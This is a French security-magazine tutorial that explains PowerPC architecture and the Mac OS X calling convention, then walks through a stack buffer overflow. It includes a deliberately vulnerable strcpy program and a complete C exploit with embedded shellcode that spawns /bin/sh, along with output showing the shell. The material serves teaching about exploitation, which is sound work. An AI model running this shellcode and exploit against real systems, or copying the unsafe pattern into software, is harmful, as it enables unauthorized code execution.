Retrouvez cet article dans : Misc 19
De plus en plus de geeks sont équipés avec des iBooks ou de PowerBooks, les ordinateurs portables d'Apple.
L'exploitation de failles dans les programmes est particulièrement bien connue sur les architectures type x86 et la bibliographie est abondante. En revanche, il y a assez peu de choses disponibles sur le PowerPC.
Cet article traite de l'exploitation d'un débordement de pile " classique " sur architecture PowerPC et système d'exploitation Mac OS X. Quelques points de comparaison avec l'environnement x86 sous Linux seront également donnés pour aider à la compréhension.
Introduction
Réussir à exploiter un débordement de buffer dépend de très nombreux paramètres : le processeur sur lequel tourne le programme cible, le système d'exploitation, et enfin, et non des moindres, le programme vulnérable lui-même. Cet article présente successivement tous ces points.
Précisons que tous les tests ont été réalisés sur Jaguar (Mac OS X 10.3) et n'ont pu encore être réalisés sur Tiger (Mac OS 10.4). Il se pourrait donc que certaines informations évoluent...
Architecture du processeur PowerPC
Le modèle du PowerPC
L'architecture PowerPC (PPC) est née d'une collaboration entre Apple, IBM et Motorola. Un premier processeur était disponible dès 1993 (cf. [Mik] pour une histoire plus détaillée). Le nom PowerPC vient de la fusion entre l'architecture POWER (Power Optimization With Enhanced RISC) développée par IBM et celle de Motorola appelée PC (Performance Computing and not Personal Computer).
Actuellement, les processeurs PowerPC sont utilisés par Apple (comme les G4, G5 actuellement), par IBM (pour des serveurs et des super-calculateurs comme Blue Gene) et Motorola (par exemple pour des contrôleurs sur des voitures), mais aussi par Nintendo pour ses consoles Game Cube.
L'architecture PowerPC définit les composants suivants :
- Instruction set : cet ensemble définit les instructions (load, store, branch, etc.), le codage de ces instructions et les modes d'adressage pour accéder à la mémoire.
- Programming model : ce modèle définit le mode d'utilisation des registres et les conventions liées à la mémoire, ce qui comprend l'ordre des bits et octets (endianness) et la manière dont les données sont stockées.
- Memory model : ce modèle définit la taille de l'espace d'adressage et comment il est divisé en pages, ainsi que les attributs (gestion d'un cache par exemple) et mécanismes de protection (droit d'écriture, lecture, exécution).
- Exception model : ce modèle définit l'ensemble des exceptions et des conditions qui provoquent ces exceptions, leurs caractéristiques (synchrone ou non, masquable ou non, etc.). Par conséquent, on définit ici un vecteur d'exceptions (exception vector) et les registres utilisables dans ce contexte d'exécution.
- Memory management model : ce modèle définit le partitionnement de la mémoire, sa configuration et protection, ainsi que les mécanismes de translation entre les différents modèles de représentation de la mémoire.
- Time management : ce modèle définit les mécanismes relatifs à la gestion du temps, comme la sauvegarde de l'heure courante ou les exceptions liées aux timers.
En fait, cette architecture est extrêmement modulaire, pour assurer une compatibilité maximale entre tous les processeurs de cette famille. Pour cela, l'architecture est décomposée en 3 niveaux (appelés " book "), chacun correspondant à un ensemble d'instructions :
- Book 1: user instruction set architecture Ensemble d'instructions partagées par toutes les implémentations de PowerPC. Ces instructions fonctionnent en mode non privilégié et sont utilisables par tous les programmes. Il détermine également les registres utilisables au niveau utilisateur, les types de données et le modèle des exceptions du point de vue de l'utilisateur.
- Book 2: virtual environment architecture Ensemble des instructions non privilégiées pour l'utilisateur, mais fournissant des fonctionnalités très spécifiques, comme la gestion des caches ou des timers. Ces fonctionnalités sont en général réalisées par le biais d'appels système. Il définit également le modèle de la mémoire pour des environnements où de multiples devices peuvent accéder à la mémoire.
- Book 3: operating environment architecture Ensemble d'instructions privilégiées réalisées directement par le système d'exploitation, comme la gestion de la mémoire, la synchronisation, la gestion des exceptions et des interruptions.
Ainsi, que Motorola ou IBM crée une puce, la compatibilité est néanmoins assurée puisqu'elles utiliseront un ensemble commun d'instructions au niveau utilisateur. Par exemple, l'Application Binary Interface (ABI), qui détermine la manière dont les fonctions sont appelées (voir ci-après), reste compatible entre tous les systèmes.
Toutefois, bien qu'il y ait une bonne compatibilité, il y a également une certaine latitude entre les différents niveaux de l'architecture PowerPC, ce qui donne lieu à des implémentations très variées :
- Certaines ressources sont optionnelles, comme quelques registres ou certains bits de certains registres, des instructions ou encore des exceptions.
- Les implémentations peuvent définir des Special Purpose Registers (SPR), qui possèdent des privilèges particuliers ou bien des instructions et exceptions supplémentaires.
- Les implémentations peuvent définir leurs propres paramètres. Par exemple, l'architecture peut définir les conditions possibles provoquant une exception liée à un problème d'alignement, mais une implémentation peut choisir de résoudre cette exception sans lever l'exception.
- Les processeurs peuvent implémenter certaines fonctionnalités avec l'aide d'une partie logicielle, par exemple avec une trap ou un émulateur, du moment que les résultats sont identiques à ceux spécifiés par l'architecture.
Comme le nom l'indique, les processeurs PowerPC sont des processeurs RICS (Reduced Instruction Set Computer) qui comportent plus de 200 instructions. Ils existent aussi bien en version 32 que 64 bits, ces derniers étant compatibles avec les premiers.
En 32 bits, l'espace d'adressage est de 4 Go, alors qu'il est de 16Go en 64 bits. Sur certains processeurs, accéder à une adresse qui n'est pas alignée lève une exception, alors que sur d'autres, des instructions supplémentaires sont ajoutées pour accéder quand même à l'adresse demandée.
Les processeurs POWER sont conçus en mode big endian. Cependant, les PowerPC sont à bi-endian, c'est-à -dire qu'ils peuvent travailler soit en big soit en little endian. Toutefois, ces processeurs travaillent essentiellement en big endian mais la compatibilité avec le little endian est assurée par le processeur1.
Adressage sur les PowerPC
Comme la plupart des processeurs actuels, les PowerPC supportent deux modes pour l'adressage. En mode réel, les processus accèdent directement aux adresses physiques. Inversement, en mode virtuel, les processus utilisent de la mémoire virtuelle, qui est mise en correspondance avec la mémoire physique via des mécanismes de traduction.
Les méthodes pour accéder à des données ou au flux d'exécution diffèrent radicalement. Les instructions élémentaires pour manipuler les données sont load et store, alors qu'il s'agit de branch pour le flux d'exécution.
Il existe 3 méthodes pour accéder aux données :
- Register indirect : l'adresse de base est contenue dans un registre.
- Register indirect with immediate index : l'adresse de base est contenue dans un registre et un décalage par rapport à cette adresse est fourni en tant que valeur immédiate.
- Register indirect with index : l'adresse de base est contenue dans un registre et un décalage par rapport à cette adresse est fourni dans un second registre.
En plus d'accéder à l'adresse demandée, certaines instructions réalisent en outre une opération sur le registre de base, comme par exemple un reset.
Sur les architectures RISC, comme le PowerPC, calculer l'adresse de l'instruction suivante est assez simple étant donné que toutes les instructions font la même taille. Cependant, il existe différentes méthodes pour " sauter " vers n'importe quelle instruction.
Pour cela, on utilise l'instruction branch qui supporte 4 modes d'adressage :
- Branch to relative : l'adresse de la prochaine instruction est à un emplacement relatif par rapport à la position courante.
- Branch to absolute : l'adresse de la prochaine instruction est à un emplacement absolu en mémoire.
- Branch to link register : l'adresse de la prochaine instruction est contenue dans le Link Register.
- Branch to count register : l'adresse de la prochaine instruction est contenue dans le count Register.
Ces deux derniers registres sont détaillés ci-après.
Les registres du PowerPC
Les registres sont particulièrement importants (et nombreux) dans l'architecture PowerPC. En effet, comme le processeur ne peut pas manipuler directement les adresses en mémoire, les instructions sont restreintes aux registres ou aux valeurs littérales2.
1 Le bit LE (31 ou 63) du Machine State Register (MSR) contrôle l'endianness du processeur.
2 Une valeur littérale est une valeur directe comme une constante.Â
Le PowerPC possède deux niveaux de privilèges :
- mode privilégié : il permet au processeur d'accéder à tous les registres et d'exécuter toutes les instructions supportées par le processeur. En général, ce mode est réservé au système d'exploitation lui-même.
- mode utilisateur : seuls quelques registres et instructions sont utilisables, ce qui correspond aux besoins des applications.

Les registres du mode utilisateur
Les registres les plus communs sont les General Purpose Registers (GPR), utilisés pour stocker des adresses (pour les instructions telles load ou store), des entiers (par exemple pour les opérations arithmétiques comme add). Ils fournissent également un moyen d'accéder à des registres spécifiques en tant que résultat de certaines instructions. Le registre Fixed-Point Exception Register (XER) indique quand un débordement ou une anomalie survient lors d'une opération sur les entiers. Il contient également, pour certaines opérations, la retenue ou encore la taille des entrées en octets pour les instructions lswx (Load String Word Indexed) et lstswx (Store String Word Indexed)
De la même manière (ou presque), les Floating Point Registers (FPR) permettent de manipuler des nombres à virgule flottante. Le Floating-Point Status and Control Register (FPSCR) contient le statut et les exceptions résultant d'opérations sur les flottants. Ces registres ne sont pas systématiquement disponibles, en particulier pour les architectures embarquées.
Le Condition Register (CR) est découpé en 8 parties de 4 bits, appelées champs. Chaque champ est nommé de CR0 à CR7 et sert à un usage clairement défini. CR0 sert pour comparer des entiers, tandis que CR1 sert pour les comparaisons de flottants. Ils sont ainsi le résultat implicite d'instructions qui agissent sur ces types de données. Si les champs sont principalement utilisés dans des comparaisons, on peut aussi les récupérer dans des registres généraux GPR (avec l'instruction mtcrf), dans un autre champ de CR (avec l'instruction mcrf) ou dans un registre spécifique (XER et FPSCR, respectivement avec les instructions mcrxr et mcrfs).
Le Link Register (LR) indique l'adresse de l'instruction cible d'un branchement pour l'instruction. Le problème du saut Branch Conditional to Link Register (bclr) : ses 2 bits de poids faible peuvent prendre n'importe quelle valeur, mais sont ignorés quand ce registre sert en tant qu'adresse cible (ce qui explique en partie le problème du saut à une adresse qui n'est pas alignée). Enfin et surtout, il contient l'adresse de retour d'une fonction. On peut y accéder par les instructions mtspr et mfspr à l'aide de SPR8 ou bien avec les instructions mtlr et mflr (respectivement move to et move from).
Le Count Register (CTR) sert de compteur dans des boucles ou encore, dans le cas d'un branchement, d'adresse destination pour l'instruction bctr (et les 2 bits de poids faible sont ignorés).
Il existe d'autres registres, comme ceux pour manipuler des vecteurs, mais ils sortent du cadre de cette étude.
Décodage rapide de l'assembleur PowerPC
Sur les processeurs PowerPC, les instructions sont codées sur 32 bits, même pour les processeurs 64 bits. Pour toutes ces instructions, les bits 0 à 5 indiquent l'opcode principal. La signification des bits suivants dépend alors de cet opcode principal.
Les instructions du mode utilisateur peuvent être classées selon les ensembles suivants :
- Instructions de branchement (Branch instructions) : elles fournissent un moyen de modifier le flux d'exécution d'un processus, de manière conditionnelle ou non, à l'aide d'adresses relatives ou absolues.
- Instructions de condition (Condition instructions) : elles réalisent des opérations booléennes sur des bits précis du registre CR, comme par exemple, crand, cror, crxor, etc., qui permettent de combiner de multiples conditions.
- Instructions d'arithmétique entière (Integer arithmetic instructions) : il s'agit d'opération comme l'addition, la soustraction, la négation, la comparaison, la multiplication et la division. De nombreuses formes existent, selon qu'on souhaite détecter un débordement, la présence d'une retenue et ainsi de suite.
- Instructions logiques, de rotation et de décalage (Logical, rotate and shift instructions) : les opérations logiques sur les registres sont disponibles (and, or, xor), mais aussi des opérations sur les signes (ext) ou encore pour compter le nombre de 0 dans un registre général GPR (cnt). Toutes les rotations et tous les décalages sont aussi présents (rl pour une rotation à gauche avec de multiples variantes ou bien sl pour un décalage à gauche et sr pour un décalage à droite).
- Instructions pour les flottants (Floating point instructions) : elles sont parfaitement conformes au standard 754-1985 spécifié par l'ANSI/IEEE et supportent aussi bien la simple et la double précision. Toutes les opérations usuelles sont disponibles : fneg pour inverser un nombre, fabs pour obtenir la valeur absolue, les opérations arithmétiques, la conversion vers et depuis des entiers (respectivement fcti et fcfi).
- Instructions de chargement et de sauvegarde (Load and store instructions) : avec les instructions de branchement, ce sont les instructions les plus importantes. Elles utilisent soit les registres généraux, soit des littéraux pour indiquer l'adresse à laquelle accéder. Le type de données manipulé par l'instruction est indiqué par la dernière lettre du mnémonique (cf. Tableau 2).

- Instructions pour la gestion du cache (Cache management instructions) : elles permettent de vider les caches, de les remettre à zéro ou encore de les invalider (par exemple : dcb pour le data cache et icbi pour invalider le cache des instructions).
- Instructions de gestion du processeur (Processor management instructions) : elles fournissent le support pour les appels système (sc), permettent de manipuler des registres spéciaux (cf. mtlr, mflr).
De nombreux détails sont passés ici sous silence. Une description plus précise est disponible dans [Ols] ou la documentation complète [IBM03a], [IBM03b] et [IBM03c].
The raise of the Apple
Dans la partie précédente, nous nous sommes préoccupé du processeur. Il est temps de passer maintenant aux logiciels qui tournent dessus. Signalons, d'un point de vue notation, que les registres généraux seront maintenant notés rX, où X indique le numéro du registre (ex : r0 correspond au registre général GPR0), ceci afin de respecter la notation utilisée par gdb sous Mac OS X..
La plupart des informations présentées dans ce qui suit est également disponible dans la documentation d'Apple [App04].
L'appel des fonctions
La pile sur les PowerPC n'est pas gérée de la même manière que sur x86 (RISC oblige). On ne trouve pas d'équivalent aux instructions pop et push qui donnent un accès direct au sommet de la pile, ni de registres dédiés à sa gestion, comme le base register ebp (aussi appelé frame pointer et le stack pointer esp.
Cependant, des conventions d'appel unifiées permettent néanmoins une certaine compatibilité entre les binaires. L'ABI (Application Binary Interface) définit le rôle des registres, ceux devant être préservés durant l'exécution d'une fonction (callee-save) et ceux volatiles (caller-save).
L'ABI suivie par Mac OS X est celle définie pour AIX et appelée PowerOpen ABI3.
Cette ABI utilise un seul registre en guise de stack pointer, placé dans GPR0, mais aliasé en SP, mais pas de frame pointer. Cela suppose que la taille de la stack frame soit connue à la compilation.
De plus, les paramètres des fonctions ne sont pas poussés sur la pile : puisque les registres doivent être utilisés pour toutes les opérations, autant placer directement les paramètres dedans, ce qui évite du " trafic mémoire " inutile. L'appelant place les paramètres dans des registres (à partir de GRP3) et l'appelée les utilise directement. Il est par conséquent évident que le nombre de registres limite le nombre d'argument que peut recevoir une fonction.
La stack frame de la fonction appelante comprend de la place pour ses propres paramètres (oui, oui, les siens, pas ceux de la fonction appelée), ainsi que des informations liées au linkage et au flux d'exécution. La zone pour les paramètres sert si la fonction appelle elle-même d'autres fonctions, afin d'y sauvegarder les registres qui ont servi à passer les arguments, avant d'y mettre les paramètres de la fonction qui sera ensuite appelée. Quant à la zone réservée pour le linkage, elle fait systématiquement 12 octets et débute toujours à l'adresse pointée par le stack pointer4, qui est en fait un synonyme pour le registre r1 sur Mac OS X.
Enfin, un peu de place est également réservée par la fonction appelée pour sauvegarder les registres de la fonction appelante qui seront utilisés lors de l'exécution de l'appelée. Ainsi, l'appelante pourra retrouver les bonnes valeurs aux bons endroits lorsqu'elle reprendra le cours normal de son activité (ou pas dans la cas d'un débordement ;-). Enfin, de la place pour les variables locales est également allouée dans la stack frame par la fonction appelée.
Ainsi, la stack frame est allouée par l'appelée. Néanmoins, certaines de ses propres données sont stockées dans une zone allouée par la fonction qui l'a appelée (cf. figure 1).
Lors de l'exécution d'une fonction, trois étapes influent sur la pile et les registres :
- le prologue, en charge de créer la stack frame et de sauvegarder les registres importants au bon déroulement du programme ;
- l'épilogue qui gère le nettoyage de la pile, et la restauration des registres sauvés lors du prologue ;
- le transfert des paramètres de l'appelante vers l'appelée.
3 L'autre s'appelle SVR4 (System Vr4) et est utilisée par Linux ppc32 et NetBSD.
4 Ce registre pointe le sommet de la pile qui correspond à l'adresse la plus basse car la pile est décroissante.

Lors de la suite de l'article, nous ferons référence au petit et simpliste programme vulnérable suivant :
|
|
 /* vuln1.c */
#include <stdio.h>
int vuln(char *str)
{
char buf[64];
strcpy(buf, str);
}
main(int argc, char **argv)
{
return vuln(argv[1]);
} |
Programme vulnérable type cas d'école
Les instructions Assembleur ne sont pas optimisées mais bel et bien laissées telles quelles afin de faciliter une compréhension complète des mécanismes sous-jacents (et cela même si certaines instructions sont totalement inutiles en réalité).
Prologue
La fonction appelée est donc responsable de l'allocation de sa propre stack frame. De plus, elle doit s'assurer que la pile est bien alignée sur une adresse multiple de 16 (attention, cela peut causer la présence de quelques mots sur la pile qui ne sont pas utilisés).
Durant le prologue, la mémoire nécessaire aux 4 régions présentées auparavant doit être allouée. Tout d'abord, le Link Register LR est sauvegardé dans r0, si et seulement si la fonction appelée n'est pas une fonction terminale (leaf function5, c'est-à -dire une fonction qui n'en appelle pas d'autre). Quand la fonction appelée a été " branchée " par une instruction
branch, le registre LR est écrasé pour contenir l'adresse de l'instruction située juste après l'appel (i. e. juste après le
branch). Cela correspond à l'adresse de retour de la fonction, afin que la fonction appelante puisse reprendre la suite de son déroulement. Cependant, lorsqu'une autre fonction est appelée depuis la fonction courante, le
branch correspondant va écraser le contenu du registre LR, qu'il est donc essentiel de sauvegarder pour se retrouver ensuite au bon endroit. Par conséquent, dans le cas de fonction non-terminale, le registre LR est sauvegardé dans le registre r0, puis ensuite sur la pile.
De la même manière, trois registres importants peuvent potentiellement être placés dans la pile :
- Le Link Register est sauvegardé à 8(SP) par l'appelée si besoin.
- Le Condition Register est sauvegardé à 4(SP) par l'appelée si besoin.
- Le Stack Pointer (r1) est toujours placé sur la pile par l'appelant afin de préserver sa propre stack frame.
Rappelez-vous que même si tous les registres ne sont pas sauvegardés, les 12 octets correspondants sont quand même alloués sur la pile.
Une fois ces registres éventuellement sauvegardés, de la mémoire est allouée pour la stack frame pour l’appelée. La taille requise est calculée en fonction du nombre de registres qui sera sauvegardé sur la pile (par défaut, il semble que 16 octets au moins sont toujours réservés), ainsi que de l’espace requis par les variables locales. Plus d’espace peut être alloué pour sauvegarder les paramètres contenus dans des registres au cas où d’autres fonctions sont appelées6.
|
|
mflr r0 ; get the link register
stmw r30,-8(r1) ; save r30 and r31 below SP
stw r0,8(r1) ; put LR on the stack
stwu r1,-144(r1) ; allocate the stack frame
; and move SP |
 Exemple de prologue d'une fonction non-terminale sur PowerPC
|
|
push %ebp ; put the frame pointer on the stack
mov %esp,%ebp ; move it to the top of the stack
sub $0x58,%esp ; allocate the stack frame |
Exemple de prologue sur x86
5 Une leaf function est une fonction qui n'appelle aucune autre fonction.
6 Par défaut, on a au total 64 octets au minimum : 12 pour la Linkage area, et 52 octets (i.e. 13 registres) pour les paramètres.Â
Plus de détails sur les paramètres seront présentés par la suite.
Épilogue & retour
Avant de quitter une fonction, la pile et les registres doivent être remis dans l'état qui était le leur avant que la fonction courante ne soit appelée.
Le code d'un épilogue de fonction non terminale est donné ci-après. Premièrement, le Stack Pointer est remis à son ancienne valeur. Cela s'effectue en une seule instruction qui déplace le registre r1 à l'adresse contenue sur le sommet de la pile. Ensuite, le Link Register est récupéré, en tant qu'adresse de retour de la fonction appelante. Enfin, les registres mis sur la pile sont remis dans les registres concernés.
|
|
lwz r1,0(r1) ; restore SP to its previous value
lwz r0,8(r1) ; get the saved LR in R0
mtlr r0 ; restore LR from r0
lmw r30,-8(r1) ; restore the saved registers
blr ; branch to address pointed by LR |
Exemple d'épilogue pour une fonction non terminale sur PowerPC
Comme vous l'avez peut-être anticipé, ces prologues et épilogues sont seulement des exemples puisque de nombreuses choses y sont optionnelles. Par exemple, une fonction terminale ne s'occupera pas du registre LR puisqu'elle n'appellera pas de fonction.
Le cas des paramètres
Comme nous l'avons mentionné précédemment, le PowerPC utilise abondamment ses registres pour gérer les paramètres entre fonctions. La fonction appelante place les paramètres de la fonction appelée en suivant quelques règles rudimentaires :
- Les 8 premiers mots sont placés dans les registres généraux allant de r3 à r10, à moins qu'un paramètre ne soit un flottant.
- Les paramètres flottants sont placés dans les registres FPR1 à FPR13.
- Si un flottant est présent avant que tous les registres généraux ne soient occupés, les GPR correspondants qui correspondent à la taille de cet argument sont ignorés.
- S'il y a plus d'arguments que de registres disponibles, ceux restant sont placés sur la pile dans la zone des paramètres.
- Enfin, les vecteurs sont mis dans les registres allant de v2 Ã v13.
Ainsi, pour la fonction suivante :
|
|
int foo(int i1, double d1, int i2); |
le premier argument i1 est placé dans r3. Ensuite, le double d1 est stocké dans FPR1, mais provoque l'omission de r4 et r5. Par conséquent, l'entier i2 est placé dans r6.
La figure 2 donne une description complète de la pile. Le dump mémoire est obtenu juste après l'appel à strcpy() dans la fonction vuln().

Quand le ver entre dans l'Apple
Maintenant que nous avons vu – et compris j'espère – l'environnement Mac OS X, il est temps de nous atteler à notre premier exploit. Nous n'utiliserons pas ici le style d'exploit où il nous faudra deviner l'adresse de retour. En fait, nous placerons le shellcode dans l'environnement, et calculerons son emplacement exact en mémoire.
Le shellcode vite vu
Un article à lire impérativement sur la construction des shellcodes sous Mac OS X est disponible sur Internet [B-r03]. Ici, nous nous contenterons de présenter les notions essentielles.
Tout d'abord, la construction d'un shellcode repose sur les appels système. L'instruction assembleur correspondante est sc. Le registre r0 contient le numéro de l'appel système qu'on souhaite invoquer. Les arguments sont passés comme pour les fonctions normales, au travers des registres r3 et suivants. Jusque-là , rien de nouveau.
En revanche, la gestion du retour d'un appel système est un peu particulière. Si l'appel système échoue, l'adresse de retour correspond à l'adresse située juste après l'appel système lui-même (soit 4 octets après l'instruction sc). Inversement, si l'appel système réussit, l'adresse de retour se situe deux instructions plus loin (soit 8 octets après l'instruction sc).
Les instructions Assembleur de l'appel système execve() montrent comment cela est utilisé :
|
|
(gdb) x/12i execve
0x90037660 <execve>: li r0,59
0x90037664 <execve+4>: sc
0x90037668 <execve+8>: b 0x90037670 <execve+16>
0x9003766c <execve+12>: blr
0x90037670 <execve+16>: mflr r0
0x90037674 <execve+20>: bcl- 20,4*cr7+so,0x90037678 <execve+24>
0x90037678 <execve+24>: mflr r12
0x9003767c <execve+28>: mtlr r0
0x90037680 <execve+32>: addis r12,r12,4093
0x90037684 <execve+36>: lwz r12,-8660(r12)
0x90037688 <execve+40>: mtctr r12
0x9003768c <execve+44>: bctr |
Si l'instruction sc échoue, (execve+8),on se branche immédiatement en execve+16 pour gérer l'erreur : on met la valeur 0x9000ace0 dans le registre CTR, ce qui correspond à l'adresse de la fonction cerror(). Cependant, si l'appel système a fonctionné, on se branche directement à l'endroit pointé par le Link Register (execve+12).
Toutefois, si l'instruction sc provoque un appel système, il y a un problème car l'opcode correspondant contient des caractères NULL :
|
|
(gdb) x/i 0x90037664
0x90037664 <execve+4>: sc
(gdb) x/x 0x90037664
0x90037664 <execve+4>: 0x44000002 |
Les octets 2 et 3 valent 0, ce qui rend l'instruction invalide pour la placer dans un shellcode. La solution est simplement de les remplacer par n'importe quelle autre valeur. En fait, les spécifications de l'instruction sc ne requièrent pas que ces octets valent 0.
Le même problème se pose avec l'opcode de l'instruction NOP (0x60000000). Là encore, la solution est la même, puisque ces octets ne sont pas contraints.
Pour le reste, la construction des shellcodes est la même que ce qui se fait par ailleurs et la lecture de l'article de B-r00t se révèle particulièrement instructive (et donc recommandée) [B-r03].
Fun and profit : le stack overflow
Comme depuis le début de cet article, l'exploit que nous allons construire vise le programme vulnérable que nous avons utilisé depuis le début, sorte de " hello world " pour les coders d'exploit.
Nous avons vu lors de l'étude du prologue que 144 octets étaient alloués sur la pile pour la stack frame. Cependant, le buffer qui pose un problème n'est pas placé tout en bas de la pile. En effet, 64 octets sont réservés pour des registres (pour les paramètres, le Link Register, le Condition Register et le Stack Pointer). On voit cela en <vuln+24> :
|
|
<vuln+24>: addi r3,r30,64
<vuln+28>: lwz r4,168(r30)
<vuln+32>: bl 0x1f44 <dyld_stub_strcpy> |
Le registre r3 est utilisé pour sauver l'adresse de buf, qui sert de premier argument pour la fonction strcpy(). Ainsi, on a besoin de 144+12-64=92 octets pour écraser le Link Register sauvegardé (144=mémoire allouée pour la stack frame, 12 = taille de la zone de linkage de la fonction appelante, 64 = taille des zones de paramètres et de linkage de la fonction vuln(), voir figure 3).

Fig. 3 -4
Ainsi, on a besoin d'un buffer contenant 88 octets sans intérêt, puis une adresse valide, tant qu'à faire, celle de notre shellcode... que nous allons maintenant nous atteler à calculer.
Le schéma 4 décrit la position des arguments sur la pile lorsque l'appel execve(argv[0], argv, envp); est exécuté.
- Le sommet de la pile est à l'adresse 0xc0000000. Juste en dessous, on trouve un mot NULL. D'autres mots NULL seront placés par ailleurs sur la pile en guise de séparateur.
- Tous les arguments (des chaînes de caractères) pointés par les tableaux argv et envp (respectivement utilisés pour les arguments du programme et les variables d'environnement) sont empilés consécutivement, depuis argv[0] à l'adresse la plus basse, jusqu'au dernier élément d'envp. Cette région est appelée " string area ".
- Cependant, l'adresse à laquelle cela démarre doit être alignée sur la taille d'un mot machine ( (sizeof(int), 32 ou 64 bits selon le processeur). Ainsi, on peut trouver des caractères NULL supplémentaires à la fin de cette liste. Par exemple, un programme avec juste argv[0] = "./foo" occupera 8 octets car la chaîne en prend déjà 6 (pour "./foo\0"), et deux de plus pour atteindre le premier multiple de 4 immédiatement supérieur, pour du 32 bits.
- Juste en dessous, on retrouve une copie du nom du programme argv[0], mais cette version se termine par du bourrage pour être parfaitement aligné, de la même manière que la string area précédente.
- Un mot NULL est placé sur la pile comme séparateur.
- Ensuite, la pile contient les pointeurs vers les chaînes de caractères de la string area, dans le même ordre que celui des tableaux argv et envp, ces deux tableaux étant séparés par un mot NULL : &envpn, ..., &envp0, NULL, &argvn, ..., &argv0, argc, du plus haut au plus bas.
Vous pouvez voir la construction de cela en lisant les sources du noyau de Mac OS X, appelé xnu et disponible en open source, dans le fichier bsd/kern/kern_exec.c.
Nous sommes donc maintenant capables de calculer l'adresse exacte de notre shellcode en mémoire. On sait que les éléments des tableaux argv et envp sont empilés les uns à la suite des autres, à partir d'une adresse alignée. Ainsi, il est probable qu'il y ait quelques octets de bourrage à la fin d'une zone afin d'aligner le début de la zone suivante. Si on laisse la mémoire organisée de cette manière, il n'y a qu'une chance sur quatre que la première instruction du shellcode soit placée sur une adresse valide (un multiple de sizeof(int)).
Supposons que la mémoire du processus ne comporte que le nom du programme (./vuln), c'est-à -dire 7 octets, suivi de notre shellcode. La taille du shellcode n'a pas d'influence puisqu'il est composé d'instructions, qui ont une taille imposée et valable sur une architecture RISC (4 octets). Ainsi, le problème vient seulement de argv[0]. Le premier octet du shellcode ne sera pas aligné de manière valide, ce qui causera une erreur Illegal Instruction.
Ceci étant dit, il nous reste à écrire le programme dans l’encadré ci-dessous.
L'exploit prend en argument la taille du buffer à écraser et calcule automatiquement l'adresse de retour :
|
|
raynal@joker:~/ppc/src$ ./ex1 ./vuln1 92
ret = 0xbfffff98
sh-2.05b$ |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
|
<font color="#000080">/*
* Shellcode placed in the environment
*
* raynal@joker:~/ppc/src$ ./ex1 ./vuln1 92
* ret = 0xbfffff98
* sh-2.05b$
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <unistd.h>
#define STACK (0xc0000000 - 4)
#define ROUNDUP(x) ( (x + sizeof(int)-1) & ~(sizeof(int)-1) )
char shellcode[] = // Shellcode by b-r00t, modified by nemo.
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68";
int main(int argc, char * argv[])
{
char *vuln, *buf = NULL, *ptr, padding[4];
char * exec_argv[] = { vuln, buf, NULL };
char * envp[] = { padding, shellcode, NULL };
size_t sz, l;
unsigned int ret = STACK - ROUNDUP(sizeof(shellcode));
vuln = exec_argv[0] = argv[1];
sz = atoi(argv[2]);
/*
* l is the size of the padding to put before the shellcode.
* Before the shellcode, one can find:
* - argv[1], i.e. the buufer (size = sz+1)
* - argv[0], i.e. program name (size = strlen(vuln)+1 (for the \0)
* Hence, the padding is given by the size of this bytes, so that
* they are aligned on a 4 bytes boundary.
*
* If, by luck, everything is already aligned, we need to put a
* padding that wont break anything (i.e. aligned on sizeof(int)).
*
* Note : the shellcode is a set of PPC opcodes. Hence, its size is
* always a multiple of 4. It may need some adjustments for 64 bits
* PPC
*/
l = sz + 1 + strlen(vuln) + 1;
l = ROUNDUP(l) - l;
if (!l) l = sizeof(int);
memset(padding, 0x42, l-1);
padding[l-1] = 0;
/* Allocate the buffer and fill the buffer with NOPs */
buf = malloc(sz + 1);
if (!buf)
{
perror("malloc() failed:");
exit(EXIT_FAILURE);
}
exec_argv[1] = buf;
memset(buf, 0x41, sz);
buf[sz] = 0;
/* Overwrite the saved return address */
*(u_int *)(buf + sz - 4) = ret;
/* Run the vulnerable program and wait for a shell ... */
fprintf(stderr, "ret = 0x%x\n", ret);
execve(exec_argv[0], exec_argv, envp);
}</font> |
 Exploit final
Conclusion
Nous avons vu dans cet article les méthodes de base pour les exploit dans l'univers de Mac OS X. De nombreux points n'ont pas encore été traités (mais il se pourrait bien que... ;-)
Par exemple, concernant les fonctions terminales, il est écrit un peu partout qu'elles ne sont pas exploitables. En fait, cela dépend de l'erreur de programmation. Par exemple, le code suivant est exploitable, même si l'exploitation ne se fera pas directement dans la fonction vulnérable :
int vuln(char *str)
|
|
{
   char buf[64];
   char *src = str, *dst = buf;
   while (*src)
   *dst++ = *src++;
} |
En l'occurrence, il faudra aller modifier la sauvegarde du LR de la fonction qui a appelé vuln(), ce qui n'est bien sûr pas toujours possible.
Enfin, il s'agira aussi d'adapter les méthodes avancées d'exploitation bien connues dans le monde Unix utilisant le format de binaires Elf aux spécificités du format Mach-O mis en place par Apple et au mapping mémoire correspondant.
Bref, il reste de quoi s'amuser... et il est probable que vous ayez de nouveau droit à des articles dans le monde des pommes.
Biliographie
 Retrouvez cet article dans : Misc 19